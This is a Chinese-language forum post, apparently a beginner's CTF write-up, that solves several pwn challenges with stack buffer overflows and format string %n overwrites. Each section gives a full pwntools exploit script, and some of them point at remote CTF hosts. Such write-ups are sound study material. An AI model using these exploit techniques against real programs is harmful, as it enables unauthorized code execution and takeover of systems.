首页
论坛
课程
招聘
[漏洞分析] [漏洞利用] [缓冲区溢出] [字符串格式化] [Linux] [原创]入门栈溢出和格式化字符串覆盖
2021-3-29 00:22 2316

[漏洞分析] [漏洞利用] [缓冲区溢出] [字符串格式化] [Linux] [原创]入门栈溢出和格式化字符串覆盖

2021-3-29 00:22
2316

 

title: 栈溢出和格式化字符串(图片看不见的话请各位师傅开VPN或者用流量)


简单栈溢出和简单格式化字符串覆盖例题

以下是我花两天时间做的一些题目,选了几道来做笔记以备后用

 

先来看最简单的

后门类无防护夺权

1.jpg

 

F5反汇编后看见有gets函数然后看了看plt表我们发现了个fun函数

 

2.jpg

 

发现了bin\sh那我们就直接利用栈溢出漏洞

 

3.jpg

 

点击v4看见其地址为0X0F

 

之后找到fun函数的地址

 

4.jpg

 

由此payload便可以开始构建了

 

payload=b'a'*(0x0f+0x08)+p64(0x0401186)

 

完整exp如下

1
2
3
4
5
6
from pwn import *
#r=remote("node3.buuoj.cn",26551)
r=process('./pwn1')
payload=b'a'*(0x0F+0x08)+p64(0x0401186)
r.sendline(payload)
r.interactive()

执行脚本cat flag 就OK啦

字符串替换类栈溢出

这个题是C++编写的我就遇见过一次,蛮好玩的,开始不认真还不会呢

 

题源https://buuoj.cn/challenges#pwn1_sctf_2016里面的第四题

 

上图看反汇编伪代码

 

5.jpg

 

这主函数是非常干净啊我们去看子函数vuln

 

6.jpg

 

这里重点在于我箭头所指向的两行代码,输入I全部会替换成you

 

我们在看看fgets函数那对变量s限制输入32个字母,看注释可以知道

 

s的空间大小是60,刚好上面I替换you可以利用下

 

我们输入20个I就可以使其造成栈溢出

 

点击s可以看见s地址(我就懒得弄了直接上payload)

 

get_flag=0x08048fd#这个函数里面有cat flag.txt

 

payload=b'I' 20+b'a' 4+p32(get_flag)

 

所以完成exp如下

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
 
r=process('./tihuan')
 
get_flag=0x08048fd#这个函数里面有cat flag.txt
 
payload=b'I' * 20+b'a' * 4+p32(get_flag)
 
r.sendline(payload)
 
r.interactive()

虚假后门类

第一种后门类他是有可以直接点

 

第二种虚假后门就要多花上几秒钟

 

先看主函数

 

7.png

 

一如既往的空空如也关键的在于vul和door函数

 

后门类的door直接就抓取flag了这里就比较皮┗|`O′|┛ 嗷~~

 

8.jpg

 

遇见这个我们思路就是先看看他有没有/bin/sh

 

同时按下shift F12可以查找有没有bin/sh

 

刚好这题有(要没有我这菜鸡现在还做不来)

 

9.png

 

然后双击查看其地址

 

10.jpg

 

bin=0x0804a02c

 

我们接下来再看看 _system的地址(这里要注意还有一个system那个不是我们要的我们要的是 _system)

 

如图

 

11.jpg

 

_system=0x08048400

 

之后我们回到vul函数看gets函数里面变量的地址

 

12.jpg

 

so 直接上exp:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
#r=remote("49.234.71.236",28000)
r.process('./ks4')
r.recvuntil("ID:")
r.sendline('aaa')
r.recvuntil("PW:")
payload=b'a'*(0x0d0+0x04)+p32(0x08048400)+p32(0xdeadbeef)+p32(0x0804a02c)
 
"""0xdeadbeef是用来返回的时候任意地址跳转用的(这个看情况用不是所有的栈溢出题都要的,具体下次写文章总结)"""
 
r.sendline(payload)
r.interactive()

数字覆盖类栈溢出

这个题是我在靶场随便扒拉的一个,我先讲解这个然后攻防世界有类似的

 

pwn的新手区 第三题 when did you born有兴趣的自己去康康

 

下面开始讲解

 

13.jpg

 

主函数比较特殊的就func函数我们先去康康

 

14.jpg

 

可以看见啊这个v2是float型 v1int型

 

然后gets是v1但是判断要用v2才可以判断

 

很多萌新就不懂 这个,但是今天我马保国(不是)就来讲讲

 

我们点击 v1看看他的地址0x030

 

v2地址0x04

 

虽然我们输入用的变量是v1但是我们可以填充字符跳到v2去啊

 

然后再传递题目要的11.28125

 

这个是要转成16进制的

 

这里给大家个网站很方便

 

https://lostphp.com/hexconvert/(这个可以转化10进制浮点数的哦)

 

直接上exp了

1
2
3
4
5
6
7
from pwn import *
#r=process('./cq')
r=remote('node3.buuoj.cn',29527)
r.recvuntil("Let's guess the number.")
payload=b'a'*(0x030-0x04)+p64(0x41348000)
r.sendline(payload)
r.interactive()

绕过字符大小条件限制类栈溢出

说道这个我就很气自己C语言不老实学基础空中楼阁

 

看见无符号整形unsigned_int8还想不起来它最大长度是255(1111 1111)

 

好了咱进入正题

 

上主函数图

 

15.png

 

第一眼就看中了这个名字检查函数

 

不过我们先看看这个buf数组看注释给了408长度但是这个名字检查函数限定只能用400个长度这里不能搞事情

 

我们把注意力放到这个名字检查函数上

 

点击进去康康嗷

 

16.png

 

关于unsigned_int8

 

这里补充一点知识

 

image-20200326154118709

 

如图所示嗷

 

好了咱继续,可以看见函数图里面if判断v3只能在4~7之间

 

我们的v3上限是255

 

那么想要整形溢出范围就要控制在259~262之间的字符长度来填充

 

这里先放着记着这点

 

接下来我们去看这个函数底部strcpy函数把s的值给到dest

 

我们去康康dest地址

 

17.png

 

dest离返回地址距离0x011+0x04=0x015

 

然后老样子捞个后门上来玩玩

 

18.png

 

getshell=0x0804858b

 

然后我直接上payload先讲解下这个payload构建

 

payload=b'a'(0x011+0x04)+p32(0x0804858b)+b'a'(261-0x015-4)

 

首先字符串填充然后传入后门地址这两个没什么好说的,重点是后门的那块

 

用来绕过if判断的整型溢出的字符串填充

 

我们上面提到了判断后范围应当在259-262之间我选261

 

刚才填充了21个a覆盖到返回地址然后传入4个字节的getshell

 

(0x8b 0x85 0x04 0x08)

 

所以要先回到传入地址再减去这四个字节来绕过if判断

 

说完了直接上exp

1
2
3
4
5
6
7
from pwn import *
#r=remote("node3.buuoj.cn",28682)
r=process('./r2t3')
payload=b'a'*(0x011+0x04)+p32(0x0804858b)+b'a'*(261-0x015-4)
r.sendline(payload)
print(r.recv())
r.interactive()

格式化字符串最简单的一道题

先来道长信心的题目(我入坑没碰见这么长信心的题)

 

http://ctf.mrskye.cn靶场地址 format1

 

来看看主函数QWQ

 

19.png

 

一眼望去只有那个printf不对劲但是又没什么函数利用

 

然后我就看看有没有bin\sh之类的果然有个flag可是没有后门

 

我就直接按常规路子走一趟了

 

20.png

 

先连接上看看

 

21.png

 

直接很常规的啦本来想看可利用变量的偏移值结果直接给我爆装备了

简单格式化字符串题目

有一说一目前碰见的格式化字符串我都是用一个函数搞定的,

 

我先不说卖个关子,先来常规写法

大数覆盖类

这题在攻防世界pwn新手区CGFSB我拿这个举例子吧

 

22.png

 

主函数内容是输入两次数据输出两次并且有个抓取flag的判断

 

第二次输出的massage那个有格式化字符串漏洞整他丫的

 

先连接上常规探查下

 

23.png

 

%p作用在于输出地址方便查看可利用变量的偏移值

 

aaa对应就是0x20616161这个从左数到他共10个(包括他本身哦)

 

所以偏移为10

 

然后我们要利用的变量是pwnme所以我们去找他的地址

 

pwnme=0x0804a068这个家伙是4个字节的

 

题目要求是8所以后面要加上4个字符凑数,然后再利用任意地址读取修改

 

payload=p32(pwnme)+b'a'*4+b'%10$n'

 

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
 
r=process('./cgfsb')
 
r.recvuntil("please tell me your name:")
 
r.sendline('aaa')
 
r.recvuntil("leave your message please:")
 
payload=p32(pwnme)+b'a'*4+b'%10$n'
 
r.sendline(payload)
 
r.interactive()

小数覆盖

小数覆盖比较不一样

 

所谓小数覆盖就是比如我判断变量地址是4,结果好家伙要求来个2才满足判断,这个时候

 

你不能疯狂加了吧,而且python语法没有字符串的减法!

 

我先上段资料https://ctf-wiki.org/pwn/linux/fmtstr/fmtstr_exploit/#_14

 

相关知识覆盖小数字这里都有

 

例题地址http://ctf.mrskye.cn/challenges format5

 

上主函数图

 

24.png

 

如图v2=0x0804a06c(四字节,题目要求v2=2哇哦自闭了刚开始)

 

如果v2=2直接输出flag

 

我们先常规探查,发现可利用变量buf偏移值为6先记下

 

25.png

 

然后因为这个小数字覆盖的特殊性

 

payload=b'aa%8$naa'+p32(v2)

 

其中任意地址读取这个必须放开头

 

然后虽然一开始我们查看到偏移值是6 按道理应该是

 

'aa%6$naa' 变成8是因为题目要求是v2=2

 

我们添加两个字符作为值传递,那么就会占位所以后移动2个

 

就是'aa%8$naa'这样了

 

小数覆盖通用任意地址读取通用格式

 

‘要求字符数量%$(原偏移量+要求字符数量)n要求字符数量’

 

上完整exp

 

from pwn import *
r=remote("49.234.71.236",28624)
r.recvuntil("input:")
payload=b'aa%8$naa'+p32(0x0804a06c)
r.sendline(payload)
r.interactive()

万金油简单格式化字符串

介绍个格式化字符串利器fmtstr_payload()

 

先上例题讲解用法

 

https://buuoj.cn/challenges#空间对决pwn5

 

先看主函数

 

26.jpg

 

两个亮点第一个格式化字符串漏洞,还有一个数值判断通过后抓flag的

 

先看整体意思

 

输入你的名字

 

输出你的名字

 

输入你的密码

 

如果输入的密码==unk_804c044这个变量就给我们flag

 

但是我们发现了个问题unk_804c044是从服务器那得到的呀我们不知道

 

但是密码是我们自己定的^_^

 

所以我们就利用格式化字符串漏洞修改这个值

 

ok,题目看完了,常规探查

 

27.png

 

偏移量为10

 

如果是常规的payload构造是不是还要考虑填充字符串的长度啊

 

但是如果我们用fmtstr_payload()就万事大吉一步到位

 

fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')

 

第一个参数表示格式化字符串的偏移;

 

第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT: systemAddress};

 

第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;

 

第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。 fmtstr_payload函数返回的就是payload

 

实际上我们常用的形式是fmtstr_payload(offset,{address1:value1})

 

例如本题payload

 

payload=fmtstr_payload(10,{0x0804C044:0x10})

 

上完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
 
r=remote("node3.buuoj.cn",25369)
 
#r=process('./no')
 
r.recvuntil("your name:")
 
payload=fmtstr_payload(10,{0x0804C044:0x10})
 
r.sendline(payload)
 
r.recvuntil("your passwd:")
 
r.sendline(str(0x10))
 
r.interactive()

28.png

 

这个万金油函数不管覆盖大小数的格式化字符串题型都可以写

 

今天BB了好多,自己感悟更多了希望来看的人也有所感悟


第五届安全开发者峰会(SDC 2021)议题征集正式开启!

收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回